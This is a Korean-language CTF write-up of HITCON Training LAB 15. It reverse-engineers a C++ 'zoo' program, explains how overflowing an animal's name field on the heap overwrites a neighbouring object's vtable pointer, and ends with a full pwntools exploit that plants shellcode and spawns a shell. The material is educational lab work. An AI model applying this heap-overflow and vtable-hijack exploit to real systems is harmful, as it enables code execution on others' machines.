tmxklab
hitcon training [LAB 15] 본문
1. 문제
1) mitigation확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
int v4; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
std::operator<<<std::char_traits<char>>(&std::cout, "Name of Your zoo :");
read(0, &nameofzoo, 0x64uLL);
while ( 1 )
{
menu();
std::operator<<<std::char_traits<char>>(&std::cout, "Your choice :");
std::istream::operator>>(&edata, &v4);
std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
switch ( v4 )
{
case 1:
adddog();
break;
case 2:
addcat();
break;
case 3:
listen();
break;
case 4:
showinfo();
break;
case 5:
remove();
break;
case 6:
_exit(0);
return;
default:
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild choice");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
break;
}
}
}
-
nameofzoo(전역 변수)에 0x64bytes까지 입력 값을 받는다.
-
v4에 입력을 받고 switch문을 실행한다.
3-2) adddog()
unsigned __int64 adddog(void)
{
__int64 v0; // rbx
unsigned int v2; // [rsp+Ch] [rbp-74h]
__int64 v3; // [rsp+10h] [rbp-70h]
__int64 v4; // [rsp+18h] [rbp-68h]
char v5; // [rsp+20h] [rbp-60h]
char v6; // [rsp+40h] [rbp-40h]
unsigned __int64 v7; // [rsp+68h] [rbp-18h]
v7 = __readfsqword(0x28u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v5);
std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&edata, &v5);
std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
std::istream::operator>>(&edata, &v2);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v6, &v5);
v0 = operator new(0x28uLL);
Dog::Dog(v0, &v6, v2);
v4 = v0;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v6);
v3 = v4;
std::vector<Animal *,std::allocator<Animal *>>::push_back(&animallist, &v3);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5);
return __readfsqword(0x28u) ^ v7;
}
-
v5 : Name에 대한 입력 값, v2에 Weight에 대한 입력 값
-
basic_string::basic_string(&v6, &v5) : v5의 값을 v6에 복사
-
참고 : http://www.cplusplus.com/reference/string/basic_string/basic_string/
-
new연산자로 0x28만큼 v0변수에 힙 영역을 할당받고 Dog객체를 생성할 때 v0와 v6, v2를 인자로 넘겨준다.(v0 : 힙 할당받은 주소, v6 : Name, v2 : Weight)
-
v3(= v4 = v0)
-
vector::push_back(&animalist, &v3) : v3를 animalist에 새로운 원소로 추가
-
참고 : http://www.cplusplus.com/reference/vector/vector/push_back/
3-3) addcat()
unsigned __int64 addcat(void)
{
__int64 v0; // rbx
unsigned int v2; // [rsp+Ch] [rbp-74h]
__int64 v3; // [rsp+10h] [rbp-70h]
__int64 v4; // [rsp+18h] [rbp-68h]
char v5; // [rsp+20h] [rbp-60h]
char v6; // [rsp+40h] [rbp-40h]
unsigned __int64 v7; // [rsp+68h] [rbp-18h]
v7 = __readfsqword(0x28u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v5);
std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&edata, &v5);
std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
std::istream::operator>>(&edata, &v2);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v6, &v5);
v0 = operator new(0x28uLL);
Cat::Cat(v0, &v6, v2);
v4 = v0;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v6);
v3 = v4;
std::vector<Animal *,std::allocator<Animal *>>::push_back(&animallist, &v3);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5);
return __readfsqword(0x28u) ^ v7;
}
-
위에 adddog와 같은 로직이다. 다만 여기서는 cat객체를 생성한다.
3-4) listen()
unsigned __int64 listen(void)
{
__int64 v0; // rax
unsigned __int64 v1; // rbx
__int64 v2; // rax
_QWORD *v3; // rax
unsigned int v5; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-18h]
v6 = __readfsqword(0x28u);
if ( std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) == 0 )
{
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
}
else
{
std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
std::istream::operator>>(&edata, &v5);
v1 = v5;
if ( v1 >= std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
else
{
v3 = (_QWORD *)std::vector<Animal *,std::allocator<Animal *>>::operator[](&animallist, v5);
(**(void (__fastcall ***)(_QWORD))*v3)(*v3);
}
}
return __readfsqword(0x28u) ^ v6;
}
-
animalist의 크기가 0이아닌 경우 인덱스에 대한 입력 값을 v5(=v1)에 받는다.
-
v1이 animalist의 크기보다 크거나 같지 않으면 animalist 인덱스 v5의 위치에 있는 요소에 대한 참조를 v3에 반환하고 (**(void (__fastcall ***)(_QWORD))*v3)(*v3)을 호출한다.
3-5) showinfo()
unsigned __int64 showinfo(void)
{
__int64 v0; // rax
unsigned __int64 v1; // rbx
__int64 v2; // rax
_QWORD *v3; // rax
unsigned int v5; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-18h]
v6 = __readfsqword(0x28u);
if ( std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) == 0 )
{
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
}
else
{
std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
std::istream::operator>>(&edata, &v5);
v1 = v5;
if ( v1 >= std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
else
{
v3 = (_QWORD *)std::vector<Animal *,std::allocator<Animal *>>::operator[](&animallist, v5);
(*(void (__fastcall **)(_QWORD))(*(_QWORD *)*v3 + 8LL))(*v3);
}
}
return __readfsqword(0x28u) ^ v6;
}
-
animalist의 크기가 0이아닌 경우 인덱스에 대한 입력 값을 v5(=v1)에 받는다.
-
v1이 animalist의 크기보다 크거나 같지 않으면 animalist 인덱스 v5의 위치에 있는 요소에 대한 참조를 v3에 반환하고 ((void (__fastcall **)(_QWORD))((_QWORD *)*v3 + 8LL))(*v3)을 호출한다.
3-6) remove()
unsigned __int64 remove(void)
{
__int64 v0; // rax
unsigned __int64 v1; // rbx
__int64 v2; // rax
void **v3; // rax
__int64 v4; // rbx
__int64 v5; // rax
unsigned int v7; // [rsp+Ch] [rbp-24h]
__int64 v8; // [rsp+10h] [rbp-20h]
unsigned __int64 v9; // [rsp+18h] [rbp-18h]
v9 = __readfsqword(0x28u);
if ( std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) == 0 )
{
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "no any animal!");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
}
else
{
std::operator<<<std::char_traits<char>>(&std::cout, "index of animal : ");
std::istream::operator>>(&edata, &v7);
v1 = v7;
if ( v1 >= std::vector<Animal *,std::allocator<Animal *>>::size(&animallist) )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "out of bound !");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
else
{
v3 = (void **)std::vector<Animal *,std::allocator<Animal *>>::operator[](&animallist, v7);
operator delete(*v3);
v4 = v7;
v8 = std::vector<Animal *,std::allocator<Animal *>>::begin(&animallist);
v5 = __gnu_cxx::__normal_iterator<Animal **,std::vector<Animal *,std::allocator<Animal *>>>::operator+(&v8, v4);
std::vector<Animal *,std::allocator<Animal *>>::erase(&animallist, v5);
}
}
return __readfsqword(0x28u) ^ v9;
}
-
animalist의 크기가 0이아닌 경우 인덱스에 대한 입력 값을 v7(=v1=v4)에 받는다.
-
v1이 animalist의 크기보다 크거나 같지 않으면 animalist 인덱스 v7의 위치에 있는 요소에 대한 참조를 v3에 반환하고 delete연산자를 통해 v3의 힙 영역을 해제한다.
-
std::vector::begin을 통해 animalist의 첫 번쨰 요소를 v8에 반환하고
__int64 __fastcall __gnu_cxx::__normal_iterator<Animal **,std::vector<Animal *,std::allocator<Animal *>>>::operator+(_QWORD *a1, __int64 a2)
{
__int64 v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
v4 = 8 * a2 + *a1;
__gnu_cxx::__normal_iterator<Animal **,std::vector<Animal *,std::allocator<Animal *>>>::__normal_iterator(&v3, &v4);
return v3;
}
-
**gnu_cxx::**normal_iterator::operator+를 실행할 때 v8, v4(인덱스)를 인자 값으로 넘겨주고(v8=a1, v4=a2) a1이 가리키는 곳으로부터 8 * a2를 더한 값을 v4에 저장하고 다시 v3에 할당하여 반환한다.
-
std::vector::erase를 통해 animalist에서 v5 요소를 제거한다.
전역 변수)
-
nameofzoo : 0x605420
-
animalist : 0x605490
2. 접근방법
1) 정리
-
adddog(), addcat을 통해 각각 dog객체, cat객체를 생성하여 animalist에 추가한다.
-
listen()를 통해 animalist의 원소를 찾아(dog객체든 cat객체든) (**(void (__fastcall ***)(_QWORD))*v3)(*v3)를 호출하는데
-
저기서 결국 0x401b0a(Dog객체의 speak함수)가 실행된다.
-
showinf()를 통해 animalist의 원소를 찾아 ((void (__fastcall **)(_QWORD))((_QWORD *)*v3 + 8LL))(*v3)를 호출하는데
-
결국 0x401c9e(Cat 객체의 info함수)가 실행된다.
2) Debugging - Animal, Dog, Cat 객체 구성
-
addDog(), addCat() 각각 2번 호출하여 총 4개의 객체 생성
-
Animallist (0x605490) : 0x617cf0
-
Dog 객체 → 0x617c20, 0x617cc0
-
Cat 객체 → 0x617c70, 0x617d20
-
-
Dog객체(0x617c20)
-
0x617c20 : 0x403140(Vtable for Dog)
-
0x617c28 : "a1"(name)
-
0x617c40 : 0x64(weight)
-
-
Vtable for Dog(0x403140)
-
0x403140 : 0x401b0a(Dog::speak())
-
0x403148 : 0x401b36(Dog::info())
-
3) 취약점이 발생하는 곳
3-1) 정상적인 입력으로 Dog 객체 2개 생성한 경우
-
name에 각각 "AAA...", "BBB..."를 입력하여 생성
-
객체 당 한 개의 chunk가 생성되며 바로 밑에는 vector에 대한 chunk 1개씩 생성된다.
3-2) 비정상적인 입력으로 Dog 객체 1개 생성한 경우
-
비정상적인 입력이라고 말하기는 좀 이상하지만 각 객체 당 size값이 0x30인 1개의 Chunk가 생성되는데 Name값에 Chunk범위를 넘어서는 값 25bytes를 입력하였다.
-
마지막 0x617d68에 Top Chunk의 size값에 0x47 1byte가 들어 간 것을 알 수 있음(Overflow발생)
여기서 알 수 있는 점)
-
한 개의 객체가 생성될 때마다 Top Chunk바로 위에 생성된다.
-
한 개의 Chunk에 Vtable주소 값과 name, weight값을 포함한다.
-
listen() 또는 showinfo()에서 vtable주소 값을 참조하여 각 객체의 멤버 함수를 호출한다.
-
객체가 생성될 때 name값과 weight값을 파라미터로 받는데 name값을 입력할 때 chunk범위를 넘어서 입력을 받을 수 있다.
-
객체가 생성될 때 항상 동일한 크기의 Chunk가 할당된다.(0x30)
-
nameofzoo 전역 변수에 100bytes까지 입력을 받을 수 있다.
공격 프로세스)
-
nameofzoo에 쉘 코드를 넣는다.
-
2개의 Chunk를 생성한다.
-
첫 번째 Chunk를 제거한다.(동일한 크기의 chunk가 할당되므로 다시 재할당 요구를 하면 다시 첫 번째 Chunk를 사용할 거임)
-
다시 Chunk를 생성한다. 이 때, name값에서 overflow를 발생하여 2번째로 생성된 Chunk에 Vtable주소 값 대신에 nameofzoo의 주소 값을 넣는다.
-
listen()또는 showinfo()를 호출한다. (index = 0)
3. 풀이
1) 주의할 점 1
nameofzoo의 주소 값은 0x605420인데 0x20은 공백(SP)을 의미하므로 cin에서 입력할 때 들어가지 않는다.
해결 : 쉘 코드를 0x605420에 넣지 않고 마지막 하위 1byte가 0x20이 포함되지 않도록 0x60542?부터 쉘 코드를 저장
2) 주의할 점 2
-
위 사진을 보면 하위 1byte가 포함되지 않도록 0x605424부터 쉘 코드를 넣고 listen함수를 실행했을 때 모습이다.
-
call rdx를 보면 rdx에 쉘 코드의 주소 값이 아니라 쉘 코드 값이 들어있어서 실행하게 되면 세그먼테이션 폴트가 발생한다.
해결 : 페이로드 구성에 주소 값을 한 번더 참조할 수 있도록 페이로드에 nameofzoo의 주소 값을 추가하여 넣는다.
페이로드 :
[ nop(0x90) * 4 ] + [ p64(nameofzoo + 4 + 8) ] + [ shellcode ]
3) 익스 코드
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
p = process("./zoo")
e = ELF("./zoo")
#gdb.attach(p)
nameofzoo = e.symbols['nameofzoo']
log.info("nameofzoo addr : "+hex(nameofzoo))
def adddog(name, weight):
p.sendlineafter(":", str(1))
p.sendlineafter(": ", name)
p.sendlineafter(": ", str(weight))
def remove(idx):
p.sendlineafter(":", str(5))
p.sendlineafter(": ", str(idx))
def listen(idx):
p.sendlineafter(":", str(3))
p.sendlineafter(": ", str(idx))
shellcode = "\x90"*4
nameofzoo += 4
shellcode += p64(nameofzoo+8)
shellcode += asm(shellcraft.amd64.linux.sh())
# 1. Insert shellcode
p.sendafter(":", shellcode)
# 2. Create Two Dog
adddog("A", 10)
adddog("B", 10)
# 3. Remove First Dog
remove(0)
payload = "C"*72
payload += p64(nameofzoo)
# 4. change vtable addr
adddog(payload, 10)
# 5. Execute shellcode
listen(0)
p.interactive()
4) 실행결과
4. References
1) c++ 관련 자료
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 14] (0) | 2020.07.31 |
---|---|
hitcon training [LAB 13] (0) | 2020.07.28 |
hitcon training [LAB 12] (0) | 2020.07.27 |
hitcon training [LAB 11] (0) | 2020.07.25 |
hitcon training [LAB 10] (0) | 2020.07.21 |